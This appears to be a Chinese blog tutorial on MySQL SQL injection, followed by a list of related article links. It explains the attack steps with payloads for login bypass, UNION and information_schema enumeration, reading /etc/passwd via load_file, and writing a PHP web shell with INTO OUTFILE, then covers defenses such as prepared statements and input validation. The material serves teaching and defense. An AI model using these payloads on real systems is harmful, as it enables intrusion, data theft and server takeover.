MySql(四)SQL注入
MySql(四)SQL注入
相关优质博文:
博客园:豫让:SQL注入总结
博客园:simon7s:sql注入-原理&防御
一、SQL注入简介
结构化查询语言( SQL)是一种用来和数据库交互的文本语言。SQL注入( SQL Injection )就是利用某些数据库的外部接口将用户数据插入到实际的数据库操作语言(SQL)当中,从而达到入侵数据库乃至操作系统的目的。它的产生主要是由于程序对用户输入的数据没有进行严格的过滤,导致非法数据库查询语句的执行。
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入攻击具有很大的危害,攻击者可以利用它读取、修改或者删除数据库内的数据,获取数据库中的用户名和密码等敏感信息,甚至可以获得数据库管理员的权限,而且, SQL注入也很难防范。网站管理员无法通过安装系统补J或者进行简单的安全配置进行自我保护,一般的防火墙也无法拦截SQL注入攻击。
- 对于Web应用程序而已,用户核心数据存储在数据库中,例如Mysql,SQL Server,Oracle;
- 通过SQL注入攻击,可以获取、修改、删除数据库信息,并通过提权来控制Web服务器等其他操作;
- SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程;
SQL注入危害
- 拖库导致用户数据泄露;
- 危害Web等应用的安全;
- 失去操作系统的控制器;
- 用户信息被非法买卖;
- 危害企业及国家的安全!
1.1 SQL注入流程
- 判断是否有SQL注入漏洞;
- 判断操作系统、数据库和Web应用的类型;
- 获取数据库信息,包括管理员信息及拖库;
- 加密信息破解,sqlmap可自动破解;
- 提升权限,获得sql-shell、os-shell、登录应用后台。
# 原始语句
mysql> select first_name,last_name from test.user where user_id = ''
# SQL注入语句解析: ' or 1=1 --'
mysql> select first_name,last_name from test.user where user_id = ' 'or 1=1 -- ' '
# 说明
# 第一个' 用于闭合前面的条件
# or 1=1 为真的条件
# -- 将注释后面的所有语句
1.2 SQL注入的产生过程
1.2.1 构造动态字符串
参数化查询是指SQL语句中包含一个或多个嵌入参数的查询。可以在运行过程中将参数传递给这些查询。包含的嵌入到用户输入中的参数不会被解析成名命令而执行,而且代码不存在被注入的机会。
下列PHP代码展示了某些开发人员如何根据用户输入来动态构造SQL字符串语句。该语句从数据库的表中选择数据。
//在PHP中动态构造SQL语句的字符串
$query = "select * from table where field = '$_GET[""input]'";
//在.NET中动态构造SQL语句的字符串
query = "select * from table where field = '" + request.getParameter("input") + " ' ";
像上面那样构造动态SQL语句的问题是:如果在将输入传递给动态创建的语句之前,未对代码进行验证或编码,那么鬼记者会将SQL语句作为输入提供给应用并将SQL语句传递给数据库加以执行。 下面是使用上述代码构造的SQL语句:
select * from table where field = 'input'
转义字符处理不当
SQL数据库将单引号字符解析成代码与数据间的分界线:单引号外面的内容均是需要运行的代码,而用单引号引起来的内容均为数据。 单引号并不是唯一的转义字符:比如Oracle中,空格,双竖线(||)、逗号、点均具有特殊意义。例如:
--管道字符用于为一个值追加一个函数
--函数将被执行,函数的结果将转换并与前面的值连接
http://www.xxx.com/id=1 || utl_inaddr.get_host_address(local)--
--星号后跟一个正斜线,用于结束注释或Oracle中的优化提示
http://www.xxx.com/hint=*/ from dual-
在SAP MAX DB(SAP DB)中,开始定界符是由一个小于符号和一个感叹号组成的:
http://www.xxx.com/id=1 union select operating system from sysinfo.version--<!
类型处理不当
处理数字数据时,不需要使用单引号将数字数据引起来,否则,数据数据会被当作字符串处理。 MYSQL 提供了一个名为LOAD_FILE的函数,它能够读取文件并将文件内容作为字符串返回。调用该函数的用户必须拥有FILE权限。
union all select load_file('/etc/passwd')--
MYSQL内置命令,使用该命令来创建系统文件并进行写操作。
union select "<? system($_request['cmd']); ?>" into outfile "/var/www/cmd.php" -
查询语句组装不当
有时需要使用动态SQL语句对某些复杂的应用进行编码,因为在程序开发阶段不可能还不知道要查询的表或字段。
错误处理不当
将详细的内部错误消息(如数据库转储、错误代码等)显示给用户或攻击者。
' and 1 in (select @@version) -
多个提交处理不当
白名单是一种除了白名单中的字符外,禁止使用其他字符的技术。黑名单是一种除了黑名单中的字符外,其他字符均允许使用的技术。 多参数查询,多参数可能产生注入。
1.3 SQL盲注
有时不可能显示数据库的所有信息,但并不代表代码不会受到SQL注入攻击。
user' or '1'='1--- Invalid password
user' or '1'='1--- Invalid username or password
发现这种情况,可注入一个永假条件并检查返回值的差异,这对进一步核实username字段是否易受SQL注入攻击来说非常有用。
SQL盲住是一种SQL注入漏洞,攻击者可以操纵SQL语句,应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。
1.4 SQL注入例子
下面的用户登录验证程序就是SQL注入的例子:
- 创建用户表user
create table user(
userid int(11) not null auto_increment,
username varchar(20) not null default '',
password varchar(20) not null default '',
primary key (userid)
)type=MyISAM auto_increment=3 ;
- 给用户表user添加一条用户记录
insert into 'user' values (1,'ange1','mypass');
- 验证用户root登录localhost服务器
<?php
#servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($severname,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "select * from user where username='$username' and password = '$password''";
$result = mysql_db_query($dbname,$sql);
$userinfo = mysql_fetch_array($result);
if(empty($userinfo))
{
echo "登录失败";
}else {
echo "登录成功";
}
echo "<p> SQL Query:$sql <p>";
?>
- 然后提交如下URL:
http://127.0.0.1/injection/user.php?username=ange1' or ' 1=1
结果发现,这个URL可以成功登录系统。
同样,也可以利用SQL的注释语句实现SQL注入,如:
http://127.0.0.1/injection/user/php?username=angel '/*
http://127.0.0.1/injection/user.php?username=angel '#
因为在SQL语句中,"/*“或者”#"都可以将后面的语句注释掉。这样上述语句就可以通过这两个注释符中任意一个将后面的语句给注释掉了,结果导致只根据用户名而没有密码的URL都成功进行了登录。
1.5 SQL UNION注入
UNION语句用于联合前面的select查询语句,合并查询更多信息;
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。
猜字段数:
mysql> select * from test.user union select 1;
mysql> select * from test.user union select 1,2;
mysql> select * from test.user union select 1,2,3;
mysql> select * from test.user union select 1,2,3,4;
mysql> select * from test.user union select user_id,user_name,1,2,3 from test.password;
# 获得当前数据库及用户信息
' union select version(),database() -- '
' union select user(),database() -- '
# 说明:
version() # 获得数据库版本信息
database() # 获得当前数据库名
user() # 获得当前用户名
1.6 information_schema
information_schema-查询数据库中所有表。
information_schema数据库是Mysql自带的,它提供了访问数据库元数据的方式;
元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。
查询所有库名
‘union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables --’
Mysql> select first_name,last_name from test.users where user_id=’’ union select table_schema,1 from information_schema.tables -- ‘’
查看库中所有表名
‘union select table_name,1 from information_schema.tables -- ‘
Mysql> select first_name,last_name from test.users where user_id = ‘ ‘ union select table_name, 1 from information_schema.tables -- ‘ ‘
同时查询表名及对应库名
‘union select table_schema,table_name from information_schema.tables --’
Mysql> select first_name,last_name from test.users where user_id= ‘ ‘ union select table_schema, table_name from information_schema.tables -- ‘’
查询数据库库名、表名 information_schema.tables
mysql> select * from information_schema.TABLES \G
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES; //等价于show databases
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G
mysql>select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY TABLE_SCHEMA\G
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=’test’; //等价于show tables
查询数据库库名、表名、字段名information_schema.columns
mysql> select * from information_schema.columns\G
mysql> select column_name from information_schema.columns;
mysql> select column_name from information_schema.columns where table_schema = ‘test’ and table_name =’users’;
mysql> select column_name from information_schema.columns where table_name=’USER_PRIVILEGES’;
mysql> select column_name from information_schema.columns where table_name=’SCHEMA_PRIVILEGES’;
二、应用开发中可以采取的应对措施
2.1 PrepartStatement+Bind-Variable
MySQL服务器端并不存在共享池的概念,所以在Mysql上使用绑定变量(Bind Variable)最大的好处主要是为了避免SQL注入,增加安全性,以Java为例,同样是根据username来访问user表:
Class.forName("com.mysql.jdbc.Driver").nerInstance();
String connectionUrl = "jdbc:mysql://localhost:3306/test";
String connectionUser = "test_user";
String connectionPassword = "test_passwd";
conn = DriverManager.getConnection(connectionUrl,connectionUser,connectionPassword);
String sqlStmt = "select * from user where username = ? and password = ?";
prepStmt = conn.prepareStatement(sqlStmt);
prepStmt.setString(1,"angel' or 1=1'");
prepStmt.setString(2,"test");
rs = prepStmt.executeQuery();
while(rs.next()){
String name = rs.getString("username");
String job = rs.getString("password");
}
可以注意到,虽然传入的变量中带了“angel’or 1=1’”的条件,企图蒙混过关,但是由于使用了绑定变量( Java驱动中采用PreparedStatement 语句来实现),输入的参数中的单引号被正常转义,导致后续的"or 1=1"作为username条件的内容出现,而不会作为SQL的一个单独条件被解析,避免了SQL注入的风险。
同样的,在使用绑定变量的情况下,企图通过注释“/*” 或“#”让后续条件失效也是会失败的。
需要注意,PreparedStaterment 语句是由JDBC驱动来支持的,在使用PreparedStatement语句的时候,仅仅做了简单的替换和转义,并不是MySQL提供了PreparedStatement的特性。
2.2 使用应用程序提供的转换函数
很多应用程序接口都提供了对特殊字符进行转换的函数,恰当地使用这些函数,可以防止应用程序用户输入使应用程序生成不期望的语句。
- MySQL CAPI:使用mysql real_ escape_ string() API调用。
- MySQL++:使用escape和quote修饰符。
2.3 自定义函数进行校验
如果现有的转换函数仍然不能满足要求,则需要自己编写函数进行输入校验。输入验证是一个很复杂的问题。输入验证的途径可以分为以下几种:
- 整理数据使之变得有效;
- 拒绝已知的非法输入;
- 只接受已知的合法输入。
因此,如果想要获得最好的安全状态,目前最好的解决办法就是,对用户提交或者可能改变的数据进行简单分类,分别应用正则表达式来对用户提供的输入数据进行严格的检测和验证。
下面采用正则表达式的方法提供一个验证函数:
已知非法符号有:“”、“;”、“=”、“(”、“)”、“/*”、“*/”、“%”、 “+”、“”、“>”、“<”、“__”、“[”和“]”。
MySql(四)SQL注入的更多相关文章
- 20169205 2016-2017-2 实验四 SQL注入实验
20169205 2016-2017-2 实验四 SQL注入实验 实验介绍 SQL注入技术是利用web应用程序和数据库服务器之间的接口来篡改网站内容的攻击技术.通过把SQL命令插入到Web表单提交框. ...
- MySQL防范SQL注入风险
MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...
- 第二百八十一节,MySQL数据库-SQL注入和pymysql模块防止SQL注入
MySQL数据库-SQL注入和pymysql模块防止SQL注入 SQL注入就是通过SQL语句绕开程序判断,获取到数据库的内容 下面以一个简单的程序登录SQL注入举例: 正常登录 1.数据库有一张会员表 ...
- 三十一、MySQL 及 SQL 注入
MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...
- DB-MySql:MySQL 及 SQL 注入
ylbtech-DB-MySQL:MySQL 及 SQL 注入 1.返回顶部 1. MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL ...
- PHP+Mysql防止SQL注入的方法
这篇文章介绍的内容是关于PHP+Mysql防止SQL注入的方法,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下 方法一: mysql_real_escape_string -- 转义 S ...
- 网站mysql防止sql注入攻击 3种方法总结
mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...
- python操作MySQL,SQL注入的问题,SQL语句补充,视图触发器存储过程,事务,流程控制,函数
python操作MySQL 使用过程: 引用API模块 获取与数据库的连接 执行sql语句与存储过程 关闭数据库连接 由于能操作MySQL的模块是第三方模块,我们需要pip安装. pip3 insta ...
- MySQL 及 SQL 注入
如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符. 所谓SQL注入,就是 ...
- Tornado+MySQL模拟SQL注入
实验环境: python 3.6 + Tornado 4.5 + MySQL 5.7 实验目的: 简单模拟SQL注入,实现非法用户的成功登录 一.搭建环境 1.服务端的tornado主程序app.py ...
随机推荐
- 简单谈谈网络抓包,特别是thrift 接口
按照惯例先谈谈最近情况,最近不是刚好跨年吗?看到很多人都在写年度总结,所以我也在写年度总结文章(其实之前我基本没有写过的,今年有点感触,也想记录一下),结果发现写起来有点多,之前还想着元旦前发出来,结 ...
- tail常用命令总结
tail命令作用: tail命令用途是依照要求将指定的文件的最后部分输出到标准设备,通常是终端,通俗讲来,就是把某个档案文件的最后几行显示到终端上,假设该档案有更新,tail会自己主动刷新,确保你看到 ...
- 【Linux】中默认文本编辑器 vim 的入门与进阶
Linux 基本操作 vim 篇 vim 简介 vim 是 Linux 上最基本的文本编辑工具,其地位像是 Windows 自带的记事本工具,还要少数的 Linux 系统自带 leafpad 编辑器, ...
- Linux服务器下安装Composer 并使用Composer安装Thinkphp5.0
Composer官方文档:https://docs.phpcomposer.com/00-intro.htmlComposer是一个php的包管理器.要求php版本在5.3以上. 一.安装Compos ...
- git的基础知识
git 分布式版本控制工具 具备的功能 协同开发 多人并行不悖修改服务器端的同一个文件 数据备份 不仅保持目录和文件当前状态,还能保存每一个提交的历史版本 版本管理 保存每一个版本的文件信息的时候做到 ...
- 利用css和jquery制成弹幕
1.首先上图看下效果 2.废话不多说,直接上代码 1>html代码 <div class="barrage"> <div class="scree ...
- Docker学习笔记之创建安装了nginx服务器的镜像
操作步骤: 1. 编辑Dockerfile 2. 使用build命令创建镜像 3. 使用run命令测试创建的镜像 编辑Dockerfile 首先,需要使用文本编辑器编辑Dockerfile文件(注意没 ...
- 超精讲-逐例分析CS:LAB2-Bomb!(上)
0. 环境要求 关于环境已经在lab1里配置过了这里要记得安装gdb 安装命令 sudo yum install gdb 实验的下载地址 http://csapp.cs.cmu.edu/3e/labs ...
- kioptrixVM3
简介 Vulnhub是一个提供各种漏洞环境的靶场平台. 个人学习目的:1,方便学习更多类型漏洞.2,为OSCP做打基础. 下载链接 https://www.vulnhub.com/entry/kiop ...
- MongoDB查询优化--explain,慢日志
引入 与Mysql数据库一样,MongoDB也有自己的查询优化工具,explain和慢日志 explain shell命令格式 db.collection.explain().<method(. ...